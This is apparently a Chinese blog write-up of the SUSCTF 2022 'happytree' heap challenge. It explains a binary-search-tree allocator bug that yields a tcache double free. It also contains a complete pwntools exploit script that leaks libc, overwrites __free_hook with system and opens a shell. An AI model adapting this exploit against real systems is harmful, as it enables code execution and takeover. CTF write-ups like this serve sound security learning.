许久未更新了
本次susctf2022遇到一个很有意思的堆题,比赛的时候愣是看了一个下午没做出来,只好赛后借着官方wp复现一波了。
程序保护全开
1
 2
 3
 4
 5
 6
 7
  
❯ checksec ./happytree
 [ *]  '/home/leo/ctfs/ph0t1n1a/2022/susctf2022/pwn/happytree/happytree' 
    Arch:     amd64-64-little
     RELRO:    Full RELRO
     Stack:    Canary found
     NX:       NX enabled
     PIE:      PIE enabled
  
 
libc版本2.27,意味着tcache结构只有next指针,可以double free,unsorted bin attack无防护。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
  
❯ ./libc.so.6
 GNU C Library ( Ubuntu GLIBC 2.27-3ubuntu1.2)  stable release version 2.27.
 Copyright ( C)  2018  Free Software Foundation, Inc.
 This is free software;  see the source  for  copying conditions.
 There is NO warranty;  not even for  MERCHANTABILITY or FITNESS FOR A
 PARTICULAR PURPOSE.
 Compiled by GNU CC version 7.5.0.
 libc ABIs: UNIQUE IFUNC
 For bug reporting instructions, please see:
 <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
  
 
先丢IDA,发现是一个用二叉搜索树来组织堆块的程序。(我tm看了近一小时才看出来)
程序提供三个功能:insert/delete/show,三个函数的参数都是用户输入的size,而不是普通堆题的index之类的。
大致概括就是:
每次insert操作会创建两个堆块,一个是固定大小0x30的管理堆块 ,一个是由用户输入大小而确定的不固定大小堆块 。管理堆块中存储用户输入的大小 ,指向内容堆块的指针 ,左儿子节点 和右儿子节点 。所有的管理堆块构成一棵二叉搜索树 ,最先创建的管理堆块是树的根节点,bss段的0x2022a0地址处存储了根节点的地址。insert中的size参数存在unsigned int8限制,所以我们申请堆块的范围就是[0, 0xff]。
1
 2
 3
 4
 5
 6
 7
  
--------------
 |       |  0x31  | 
|  ---- |  ----- | 
|  size |  ptr   | 
|  ---- |  ----  | 
|  left |  right | 
--------------
  
 
 
delete操作会寻找到与输入size相同的节点,然后判断其是否含有左右儿子节点:
如果左右儿子节点都存在,则找到右子树中的最左叶子节点,将最左叶子节点记录的size填写到当前节点中,然后去free那个最左叶子节点的两个堆块。 
否则,释放改节点对应的堆块,然后返回节点存储的左/右子节点地址(或者0)。 
 
 
show操作就是找到与输入size相同的节点,然后打印。
 
 
漏洞点在于,当执行delete操作时,对于将要free的节点,程序并没有清空其中可能存在的左右儿子节点指针(即程序中的a2[2]/a2[3]),当释放然后又分配回来后,就会有两个节点的指向同一个儿子节点,构成double free。
         
     delete函数 
    
再加上[0, 0xff]的范围已经可以让我们释放chunk进入unsorted bin中,所以泄露Libc也是可行的。
  1
   2
   3
   4
   5
   6
   7
   8
   9
  10
  11
  12
  13
  14
  15
  16
  17
  18
  19
  20
  21
  22
  23
  24
  25
  26
  27
  28
  29
  30
  31
  32
  33
  34
  35
  36
  37
  38
  39
  40
  41
  42
  43
  44
  45
  46
  47
  48
  49
  50
  51
  52
  53
  54
  55
  56
  57
  58
  59
  60
  61
  62
  63
  64
  65
  66
  67
  68
  69
  70
  71
  72
  73
  74
  75
  76
  77
  78
  79
  80
  81
  82
  83
  84
  85
  86
  87
  88
  89
  90
  91
  92
  93
  94
  95
  96
  97
  98
  99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
  
#!/usr/bin/python3 
from  pwn  import  * 
context . log_level  =  'debug' 
context . terminal  =  [ 'tmux' ,  'splitw' ,  '-h' ] 
 host  =  '124.71.147.225' 
port  =  9999 
elfpath  =  'happytree_patched' 
libcpath  =  'libc.so.6' 
e  =  ELF ( elfpath ) 
context . binary  =  e 
libc  =  ELF ( libcpath ) 
 context . binary  =  e 
 if  args . LOCAL : 
    p  =  process ([ e . path ]) 
     # gdb.attach(p) 
 else : 
    p  =  remote ( host ,  port ) 
 
 # io 
 def  s ( c ):  return  p . send ( c ) 
def  sl ( c ):  return  p . sendline ( c ) 
def  r ( n ):  return  p . recv ( n ) 
def  rn ( n ):  return  p . recvn ( n ) 
def  ru ( pattern ,  drop = False ):  return  p . recvuntil ( pattern ,  drop = drop ) 
def  rl ():  return  p . recvline () 
def  ru7f ():  return  p . recvuntil ( b ' \x7f ' ) 
def  su ( x ):  return  p . success ( x ) 
def  shell ():  return  p . interactive () 
 # utilities 
 def  leak ( func ,  address ):  return  p . success ( 
    " {}  ==>  {} " . format ( func ,  hex ( address ))) 
 
 def  command ( c ): 
    ru ( b 'cmd> ' ) 
     sl ( str ( c ) . encode ()) 
 
 def  insert ( size ,  content = b 'a' ): 
    command ( 1 ) 
     ru ( b 'data: ' ) 
     sl ( str ( size ) . encode ()) 
     ru ( b 'content: ' ) 
     s ( content ) 
 
 def  delete ( size ): 
    command ( 2 ) 
     ru ( b 'data: ' ) 
     sl ( str ( size ) . encode ()) 
 
 def  show ( size ): 
    command ( 3 ) 
     sl ( str ( size ) . encode ()) 
     # ru(b'content: ') 
 
 # start pwning 
insert ( 1 ) 
insert ( 2 ) 
insert ( 8 ,  b '/bin/sh \x00 ' ) 
 # use unsorted bin to leak libc 
for  i  in  range ( 8 ): 
    insert ( 0xd0  +  i ) 
 for  i  in  range ( 8 ): 
    delete ( 0xd7  -  i ) 
 # 1 -> 2 -> 8 
 for  i  in  range ( 7 ): 
    insert ( 0xd0  +  i ) 
 insert ( 0xd7 ,  b 'a' * 8 ) 
show ( 0xd7 ) 
 leakaddr  =  u64 ( ru7f ()[ - 6 :] . ljust ( 8 ,  b ' \x00 ' )) 
libc_base  =  leakaddr  -  ( 0x7f8246ba2ca0  -  0x7f82467b7000 ) 
leak ( "libc base" ,  libc_base ) 
libc . address  =  libc_base 
free_hook  =  libc . sym [ '__free_hook' ] 
system  =  libc . sym [ 'system' ] 
 # double free 
insert ( 0xf2 ) 
insert ( 0xf7 ) 
insert ( 0xf6 ) 
insert ( 0xf4 ) 
insert ( 0xf5 ) 
insert ( 0xf0 ) 
insert ( 0xf1 ) 
 # 构造double free 
delete ( 0xf2 ) 
insert ( 0xf8 ) 
delete ( 0xf5 ) 
delete ( 0xf8 ) 
delete ( 0xf7 ) 
 # 填充两个正常的0x30 tcache bin 
delete ( 1 ) 
delete ( 2 ) 
 # 利用构造好的tcache[0x100]中的double free来修改free_hook 
insert ( 0xef ,  p64 ( free_hook )) 
insert ( 0xee ,  p64 ( 0 )) 
insert ( 0xed ,  p64 ( 0 )) 
gdb . attach ( p ) 
insert ( 0xec ,  p64 ( system )) 
delete ( 8 ) 
 shell () 
 
 
利用unsorted bin泄露libc之后,二叉树的部分如下图所示。接着的delete(0xf2)操作实际上删除的是0xf4大小的节点,并将0xf2节点记录的size改写为0xf4。
         
     流程1 
    
所以,紧接着的insert(0xf8)会得到一个残留有0xf5节点指针的节点,而因为之前的delete(0xf2)操作,0xf6同样会指向0xf5节点。
         
     流程2 
    
然后delete(0xf5)会搜索到0xf6左子树中的0xf5节点,然后删除其对应的堆块。此时的树与tcache的情况如图所示。
         
     流程3 
    
接着delete(0xf8)将0xf5移动到0xf7的右子树。
         
     流程4 
    
因为0xf7节点的左右叶子节点均存在,所以delete(0xf7)操作又会搜索到0xf5节点然后再次将其删除。此时,tcache中已经产生了double free。
         
     流程5 
    
         
     调试验证 
    
接下来就是常规的tcache double free应用,最终改free_hook然后getshell。
第一次碰到这种结合数据结构来出的堆题,洞藏得挺隐蔽的(不是,其实有经验的话一眼就能看出来),而且创建和释放堆块的操作还需要选手去复习一波二叉搜索树的性质,所以总体来说是一道非常有趣的题,特此记录一下。